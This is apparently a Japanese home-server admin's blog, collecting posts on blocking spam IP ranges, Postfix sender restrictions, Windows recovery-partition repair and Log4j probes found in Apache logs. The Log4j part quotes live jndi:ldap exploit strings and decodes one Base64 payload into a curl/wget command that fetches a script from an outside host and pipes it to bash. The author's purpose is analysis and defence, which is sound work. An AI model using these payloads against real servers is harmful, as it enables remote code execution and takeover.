ctgserver.net からのspam攻撃
自宅サーバに spam 送信の攻撃がしつこい。
確認すると、日本国内に割り当てられたIPアドレスだけど、ctgserver.net という中国系企業に割り当てられたもの。デタラメなホストを名乗って送信しようとしている。日本国内のアドレスとはいえ悪質なので、Firewall で 202.61.144.0/20 でごっそり接続拒否としておいた。
Jan 5 21:34:41 perrine postfix/smtpd[1163220]: connect from unknown[202.61.149.209] Jan 5 21:34:41 perrine postfix/smtpd[1163220]: NOQUEUE: reject: RCPT from unknown[202.61.149.209]: 450 4.7.25 Client host rejected: cannot find your hostname, [202.61.149.209]; from=<jcbjp-account-update@cnzsyc.cn> to=<xxxx@tsaitoh.net> proto=ESMTP helo= Jan 5 21:34:41 perrine postfix/smtpd[1163220]: disconnect from unknown[202.61.149.209] ehlo=2 starttls=1 mail=1 rcpt=0/1 quit=1 commands=5/6
同様の攻撃が、134.122.192.0/18 “BGP CONSULTANCY PTE LTD” からも届いている。これまた、日本国内割り当ての中国系企業。この記事を見ると同じ穴のムジナっぽい。がんがん拒否しまくろう。国内IPアドレスも汚染されてきてるよなぁ…
制限しても、すぐさま別のアドレスから同じような攻撃。調べてみると大きなアドレスブロックを持ってるな。
202.61.128.0/18 134.122.192.0/18 118.107.0.0/18
Google Home mini が音量最低の英語モード
色々と活用されているGoogle Home mini だけど、子供が使おうとしたら音量が最低になって、かすかに声が聞こえると思ったら英語モードになってる。
ただ、設定を戻そうと Google Home アプリを開くけど、設定でどこを直せばいいのかさっぱり分からない。パソコンでググって設定を直したけど、どこに何があるかさっぱりわからん操作性なんとかならんのか。
SSD環境で回復ドライブの更新
SSD構成に切り替えて、古いHDDドライブを Windows 7 のバックアップに利用するようにフォーマットなどを行いながら設定を行った。これに合わせ、USBに回復ドライブを作成しようとしたら、「このPCでは回復ドライブを作成できません」、「必要ないくつかのファイルが見つかりません…」とのメッセージが表示される。
回復パーティションの再設定
こちらのページを参考に、回復パーティションの再割り当てを行い、必要なファイルを取り出せるように設定を行った。
# 以降参考ページに沿って行った作業
((( SSD内の回復パーティションを探して一時的にドライブレターを設定 ))) PS C:\Windows\system32> diskpart DISKPART> list volume DISKPART> select disk 0 Volume ### Ltr Label Fs Type Size Status Info ---------- --- ----------- ---- ---------- ------- --------- -------- Volume 0 D DVD-ROM 0 B メディアなし Volume 1 C Windows NTFS Partition 930 GB 正常 ブート Volume 2 Recovery to NTFS Partition 900 MB 正常 非表示 Volume 3 SYSTEM FAT32 Partition 100 MB 正常 システム Volume 4 E Backup NTFS Partition 930 GB 正常 Volume 5 SYSTEM FAT32 Partition 100 MB 正常 非表示 Volume 6 Recovery to NTFS Partition 900 MB 正常 非表示 Volume 7 F 回復 FAT32 リムーバブル 28 GB 正常 DISKPART> select disk 0 DISKPART> list partition Partition ### Type Size Offset ------------- ------------------ ------- ------- Partition 1 回復 900 MB 1024 KB Partition 2 システム 100 MB 901 MB Partition 3 予約 16 MB 1001 MB Partition 4 プライマリ 930 GB 1017 MB DISKPART> select partition 1 DISKPART> assign letter=r: DISKPART> exit ((( 回復パーティションを再設定 ))) PS C:\Windows\system32> reagentc.exe /setreimage /path r:\Recovery\WindowsRE /target C:\Windows PS C:\Windows\system32> reagentc.exe /enable PS C:\Windows\system32> reagentc.exe /info ((( 正しく設定が出来ていれば、ドライブレターの割り当てを削除 ))) PS C:\Windows\system32> diskpart DISKPART> select disk 0 DISKPART> list partition DISKPART> select partition 1 DISKPART> remove letter=r: DISKPART> exit
危うく、インストールDVDとかを探す羽目になりそうだった。随分と前だし色々とバージョンアップしてるから、DVD見つかっても手間がかかりそうだったし、面倒な作業だったけど、うまく回復パーティションの設定ができたようだ。
初詣ウォーキング
@TohruSaitoh-21/12/24
- 12/24 RT @dospara_web: /
ゲーミングPC GALLERIA
価格.comプロダクトアワード2021
ゲーミング部門 ゲーミングPC 金賞受賞?
\これを記念しフォロー&RTで
ゲーミングPC『GALLERIA RM5C-R36』
を抽選で1名様にプレゼント?… - 12/19 RT @BUFFALO_melco: (I!oO(今年もありがとうございました?)
/
毎日RTで応募可能!
【スティック型SSD (1TB)】または
【USBメモリー (32GB)】が
合計10名様に当たる?
キャンペーン開催中?
\
応募方法
?@BUFFALO_melco を… - 12/16 @takunno1 @haru5384 昨年の大雪で、高速道路の閉鎖が遅れて大渋滞を引き起こした反省で、高速道路の閉鎖は早く判断し早くアナウンスすることになってます。今回の予報からすると、閉鎖される確率が高いですね。
[$(D+)??$(D+2¨?$(D+#”k?]
オーディオテクニカ…
- 12/19 \私が冬に欲しいモノは、ワイヤレスヘッドホンATH-HL7BT/
結果をシェアして、公式オンラインストアで今すぐ使える限定クーポンコードをGET!本製品が当たるキャンペーンに応募できます♪
#オーディオテクニカ… https://twitter.com/i/web/status/1472392…
ヤマダTwitterテレビ録画用USBハードディスクプレゼントキャンペーン
テレビにケーブル1本でつなぐだけ!かんたん接続?
アイ疋オー疋データ
- 12/24 RT @yamada_official: 開催中!
この記事は
@TohruSaitohのつぶやきのまとめです。
逆引きできないホストからのメール拒否
自宅サーバのメールに、よくできた偽装メールが届く。
国別IPアドレスで接続制限しているから、それなりに拒否しているはずだが、今回の JCB を語った偽装メールは、From: が *.cn で、ホスト名は逆引きできない、国ドメインではアメリカの IP アドレスだった。
どちらにしろ、我が家に *.cn からのメールが届く段階でヤバい。
ということで、逆引きできないホストからの接続自体怪しいので、smtpd_client_restriction に、reject_unknown_client を加える。
さらに smtpd_sender_restrictions を追加。
# SMTP接続相手がRBL登録されていれば受け取らない
smtpd_client_restrictions = permit_mynetworks,
reject_rbl_client bl.spamcop.net,
reject_rbl_client all.rbl.jp,
reject_unknown_client,
permit
# 送信者が怪しいものは拒否
smtpd_sender_restrictions = permit_mynetworks,
reject_non_fqdn_sender,
reject_invalid_hostname,
reject_unknown_sender_domain
Java Log4j 攻撃が自宅サーバにも来ている?
JPCERT/CC などでも重大な脆弱性として報告されている Log4j への攻撃だけど、Java なぞ動いていない我が家の”自己満足サーバ”にさえも届いている。
UserAgent で履歴確認
こちらの記事を参考に、UserAgent に変な値が入っていないか Log を漁ってみた。
この結果、攻撃のため? のLOGには、以下のような記録がある。UserAgent の中に埋め込まれている、”cryptoslogic-cve-2021-44228.com” というのは、ドメイン名部分が Log4j の脆弱性の正式名称なので、攻撃目的ではなく、攻撃可能性を警鐘するためグループからのアクセスかもしれない。
[/var/log/apache2]# grep -i user access.log.1 | grep -i agent
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
自分が仕事を含め外部公開をしているサーバで、上記のような履歴を確認したら、すべてのサーバに、12/12の日付の LOG が残っていた。
試しにアクセスしてきた IP アドレスを逆引き。digitalocean.com が管理しているアドレスということが判る。んで、”whois kryptoslogic-cve-2021-44228.com” で調べてみるけど、あまりいい情報は出てこない。
[~]# dig -x 68.183.207.73 : ;; AUTHORITY SECTION: 207.183.68.in-addr.arpa. 957 IN SOA ns1.digitalocean.com. hostmaster.207.183.68.in-addr.arpa. (略) [~]# whois kryptoslogic-cve-2021-44228.com (略)
これを見ると、ドメイン名にLog4jの脆弱性の名前を使っているし、kryptos logic という脆弱性診断のサービスをしている企業なども見えてくるので、単純に攻撃ではないかもしれない。悪意があるのであれば、攻撃用のホストの部分に、ちゃんとしたドメイン登録されているホスト名を使わないはず。
jndi:ldap の履歴確認
ということで、今回の攻撃? では、どれも jndi:ldap というのがカギっぽいので、あらためて “grep -i jndi:ldap access.log” をしてみた。すると、他の攻撃パターンも見えてきた。
[~]# cd /var/log/apache2
[/var/log/apache2]# ( cat access.log{,.1} && zcat access.log*.gz ) | grep -i jndi:ldap
37.120.189.247 - - [13/Dec/2021:16:02:47 +0900] "GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 4616 "-" "Mozilla/5.0 zgrab/0.x"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:04:01:44 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 4615 "-" "Kryptos Logic Telltale"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:09:40:02 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 402 "-" "Kryptos Logic Telltale"
20.71.156.146 - - [11/Dec/2021:18:10:51 +0900] "GET / HTTP/1.1" 302 12543 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"
すると、攻撃用のホストに、分かり易いドメイン名など使っていない、IPアドレスそのまんまの”悪意を想定した方がよさそうな”アクセス履歴が出てくる。かといって、ldap URL の後ろに “Exploit” といった、文字が含まれているから、まだ違うのかな…
わちゃ、こりゃ悪意の塊…
同じような履歴を仕事で管理しているサーバで実行していたら、以下のようなアクセス履歴が見つかる。
45.155.205.233 - - [10/Dec/2021:22:35:08 +0900] "GET / HTTP/1.1" 200 11705 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MCl8YmFzaA==}"
後半の部分が、Base64 とかの後ろに、”KGN…aA==” とかいう、いかにも BASE64 エンコーディングされたような文字列発見。
base64 デコードサービスで確認すると
(curl -s 45.155.205.233:5874/xx.xx.xx.xx:80 ||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80) # xx.xx.xx.xx は攻撃対象のIP |bash
なんて文字が出てくる。こりゃ、確実に悪意のあるスクリプト。
たぶん、踏み台となっているコマンドサーバ(45.155.205.233)からダウンロードした shell script をbash で実行しようとしている。そこで、このアドレスを、dig -x やら whois やらで調べてみるけど、踏み台だし「攻撃者だけど実際は犠牲者」の情報だし、これ以上調べてもまともな情報は出てこないだろう。別に調べたら、ロシアのコンピュータ。自宅サーバはロシアなどの国は最初からアクセス禁止してあるから、履歴が無かっただけか。んで、このコマンドサーバに、試しに ping やら nmap を実行してみる。
[~]# dig -x 45.155.205.233 (略) ;; AUTHORITY SECTION: 205.155.45.in-addr.arpa. 1258 IN SOA pns21.cloudns.net. support.cloudns.net. (略) [~]# whois cloudns.net (無料のDNSサービスなのであまりいい情報が無い) [~]# ping 45.155.205.233 [ping 反応なし] [~]# nmap 45.155.205.233 [nmap 反応なし]
たぶん、すでに踏み台となっていることの報告がでて、プロバイダが対応をしたんだろうけど、反応がない。
まとめ記事へのリンク
Log4j に関連するパッケージ
Log4j は色々な使われ方をしているようなので、一応確認。
(( log4j という名前を含むパッケージの検索 )) [~]# dpkg -l | grep log4j ii liblog-log4perl-perl 1.54-1 all Perl port of the widely popular log4j logging package (( liblog-log4per-perl に依存しているパッケージを探す )) [~]# aptitude purge liblog-log4perl-perl : 以下のパッケージには満たされていない依存関係があります: munin : 依存: liblog-log4perl-perl インストールされません














